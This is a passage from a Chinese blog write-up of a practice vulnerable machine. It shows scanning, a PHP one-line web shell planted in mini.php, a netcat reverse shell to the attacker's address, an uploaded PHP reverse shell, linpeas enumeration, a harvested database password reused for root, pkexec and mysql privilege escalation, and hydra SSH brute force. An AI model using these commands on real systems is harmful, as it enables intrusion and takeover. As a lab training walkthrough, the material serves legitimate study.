&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;| Slowloris tries to keep many connections to the target web server open and hold
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;| them open as long as possible. It accomplishes this by opening connections to
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;| the target web server and sending a partial request. By doing so, it starves
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;| the http server&amp;#39;s resources causing Denial Of Service.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;| 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2009-09-17
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;|_ http://ha.ckers.org/slowloris/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;| http-enum: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;| /robots.txt: Robots file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;|_ /phpmyadmin/: phpMyAdmin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;打开80端口如图，是一个Apache2默认配置页面，如果说管理员没有配置网站访问权限的话，应该还能使用目录扫描发现其他默认目录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716154935136" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716154935136.png"&gt;&lt;/p&gt;
&lt;h3 id="扫描目录"&gt;扫描目录
&lt;/h3&gt;&lt;p&gt;字典目录地址如下，一般选择Medium字典即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/share/wordlists/dirbuster
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716155353244" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716155353244.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo gobuster dir &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; -u http://192.168.151.132/ &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c1"&gt;# 目标 URL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c1"&gt;# 使用中等规模字典&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; -e &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c1"&gt;# 显示完整 URL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; -t &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c1"&gt;# 20 线程加速扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; -x php &lt;span class="c1"&gt;# 额外探测 .php 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716155928308" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716155928308.png"&gt;&lt;/p&gt;
&lt;p&gt;发现存在新的页面：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.151.132/mini.php 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716160102127" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716160102127.png"&gt;&lt;/p&gt;
&lt;h2 id="反弹shell"&gt;反弹Shell
&lt;/h2&gt;&lt;p&gt;这个靶机是个奖励关，是一个文件上传的练手靶机。现实情况中，基本没有这么傻的服务器。练手也要好好练习，这是一个典型的PHP文件上传还能反弹PHP代码的靶机，我们可以用这个靶机练习多种反弹Shell的方式。&lt;/p&gt;
&lt;h3 id="方法一修改miniphp注入反弹"&gt;方法一：修改Mini.php，注入反弹
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250716160813180" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716160813180.png"&gt;&lt;/p&gt;
&lt;p&gt;选择&lt;code&gt;Mini.php&lt;/code&gt;的选项，选择 Edit 编辑，点击执行按钮。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716160940834" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716160940834.png"&gt;&lt;/p&gt;
&lt;p&gt;可以修改&lt;code&gt;Mini.php&lt;/code&gt;文件的内容，额外的发现是&lt;code&gt;option&amp;amp;path=/var/www/html&lt;/code&gt;似乎可以用于遍历目录，但是访问其他目录没有列出文件，似乎是没有权限。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716161208358" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716161208358.png"&gt;&lt;/p&gt;
&lt;p&gt;还是回到原来的思路，修改php文件，加入一句话木马。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?=&lt;/span&gt;&lt;span class="sb"&gt;`$_GET[0]`&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716170249215" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716170249215.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716170331736" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716170331736.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716170350431" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716170350431.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716170713858" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716170713858.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716224949850" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716224949850.png"&gt;&lt;/p&gt;
&lt;p&gt;这里可以发现第一个flag了。网页形式的命令实在是不好操作，把 &lt;code&gt;Mini.php&lt;/code&gt;改一个反弹的命令。初次尝试用下面的命令，弹回了，但是无法有交互的终端，如果带上&lt;code&gt;-e&lt;/code&gt;或者&lt;code&gt;-c /bin/bash&lt;/code&gt;参数的话，就无法弹回来了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.151.132/mini.php?0&lt;span class="o"&gt;=&lt;/span&gt;nc%20192.168.45.156%204777
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716172001656" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716172001656.png"&gt;&lt;/p&gt;
&lt;h3 id="方法二上传反弹php文件访问反弹"&gt;方法二：上传反弹php文件，访问反弹
&lt;/h3&gt;&lt;p&gt;查找PHP反弹shell的脚本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -name &lt;span class="s1"&gt;&amp;#39;php-reverse*&amp;#39;&lt;/span&gt; 2&amp;gt;/dev/null 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;└─$ find / -name &lt;span class="s1"&gt;&amp;#39;php-reverse*&amp;#39;&lt;/span&gt; 2&amp;gt;/dev/null 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/laudanum/php/php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;复制到本地，修改然后再网页中上传。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716201952154" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716201952154.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716202022143" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716202022143.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现权限是只读的，该做全员可读可写可执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716202102521" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716202102521.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716202127727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716202127727.png"&gt;&lt;/p&gt;
&lt;p&gt;访问此链接，反弹成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716202505781" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716202505781.png"&gt;&lt;/p&gt;
&lt;h2 id="提权root"&gt;提权Root
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250716202704470" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716202704470.png"&gt;&lt;/p&gt;
&lt;p&gt;从一开始的目录扫描和Nmap的结果中我们还漏了一个phpmyadmin的数据库页面，打开发现确实是存在。但是密码不是默认密码。&lt;/p&gt;
&lt;h3 id="内网信息收集"&gt;内网信息收集
&lt;/h3&gt;&lt;p&gt;继续从建立的Shell探索。在&lt;code&gt;/tmp&lt;/code&gt;目录下载&lt;code&gt;linpeas.sh&lt;/code&gt;脚本，来查找系统下有什么可疑文件可以利用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;chmod +x linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;找到个3306端口开放，应该是phpmyadmin的数据库端口。53作为DNS的服务器。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222000465" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222000465.png"&gt;&lt;/p&gt;
&lt;p&gt;Pkexec似乎可以用作提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222133930" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222133930.png"&gt;&lt;/p&gt;
&lt;p&gt;密码文件里，这个似乎可以爆下哈希。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222214262" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222214262.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Karla用户似乎是管理员角色的账户，他的权限比其他人高，仅次于root。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222324185" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222324185.png"&gt;&lt;/p&gt;
&lt;p&gt;发现数据库的配置文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222538446" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222538446.png"&gt;&lt;/p&gt;
&lt;p&gt;其他有趣的文件，后来看了不知道是干什么的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716222716742" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222716742.png"&gt;&lt;/p&gt;
&lt;p&gt;数据库密码也找到了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;╔══════════╣ Readable files belonging to root and readable by me but not world readable
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;-rw-r----- 1 root www-data 525 Sep 18 2020 /etc/phpmyadmin/config-db.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;-rw-r----- 1 root www-data 8 Sep 18 2020 /etc/phpmyadmin/htpasswd.setup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;-rw-r----- 1 root www-data 68 Sep 18 2020 /var/lib/phpmyadmin/blowfish_secret.inc.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;-rw-r----- 1 root www-data 0 Sep 18 2020 /var/lib/phpmyadmin/config.inc.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;╔══════════╣ Searching passwords in config PHP files
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;/etc/phpmyadmin/config-db.php:$dbpass=&amp;#39;tgbzhnujm!&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;/etc/phpmyadmin/config-db.php:$dbuser=&amp;#39;phpmyadmin&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;/etc/phpmyadmin/config.inc.php: // $cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = TRUE;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;/etc/phpmyadmin/config.inc.php:// $cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = TRUE;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/phpmyadmin/config.sample.inc.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = false;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = false;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;nopassword&amp;#39;] = false;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;ShowChgPassword&amp;#39;] = true;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;╔══════════╣ Modified interesting files in the last 5mins (limit 100)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;/var/log/auth.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;/var/log/journal/7eb907a1e82c4e37b03c20faa67cf884/system.journal
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;/var/log/syslog
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用小豌豆找到的密码，尝试登录phpmyadmin后台成功。所以凭证就是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;phpmyadmin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tgbzhnujm!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716222943235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716222943235.png"&gt;&lt;/p&gt;
&lt;h3 id="方法一进入karla-sudo-su快捷提权瞎蒙"&gt;方法一：进入Karla sudo su快捷提权（瞎蒙）
&lt;/h3&gt;&lt;p&gt;从前面收集的信息来看，Karla推测是管理员的角色，而管理员一般就是维护数据库的人，极有可能重复使用同一个密码。尝试切换到Karla账户，输入数据库的密码蒙一下：&lt;code&gt;tgbzhnujm!&lt;/code&gt;成功进入。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716224406593" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716224406593.png"&gt;&lt;/p&gt;
&lt;p&gt;Karla确实是管理员角色，&lt;code&gt;sudo -l&lt;/code&gt;发现它可以执行所有命令，所以直接&lt;code&gt;sudo su&lt;/code&gt;就能进root了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716224659963" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716224659963.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716224916695" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716224916695.png"&gt;&lt;/p&gt;
&lt;h3 id="方法二进入karla用pkexec提权"&gt;方法二：进入Karla用Pkexec提权
&lt;/h3&gt;&lt;p&gt;内网信息收集中的Pkexec似乎可以用作提权，查询https://gtfobins.github.io/gtfobins/pkexec/提权命令即可。www-data账户不可提权，因为不知道www-data的密码。karla账户可以，Oracle账户不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716225857577" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716225857577.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716230339403" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716230339403.png"&gt;&lt;/p&gt;
&lt;h3 id="方法三爆破goat用mysql提权"&gt;方法三：爆破Goat，用Mysql提权
&lt;/h3&gt;&lt;p&gt;内网信息手机中发现，Goat账户是可以SSH登录的，而官网题目也提示了goat。所以，直接尝试用hydra爆破一下ssh登录。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hydra -l goat -P /usr/share/wordlists/rockyou.txt ssh://192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh goat@192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;密码也是goat
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;也可以不用爆，题目已经给了提示。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716153053375" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716153053375.png"&gt;&lt;/p&gt;
&lt;p&gt;登录后发现mysql命令可以无密码提权，搜索https://gtfobins.github.io/gtfobins/mysql/命令输入即可提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716233643834" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716233643834.png"&gt;&lt;/p&gt;
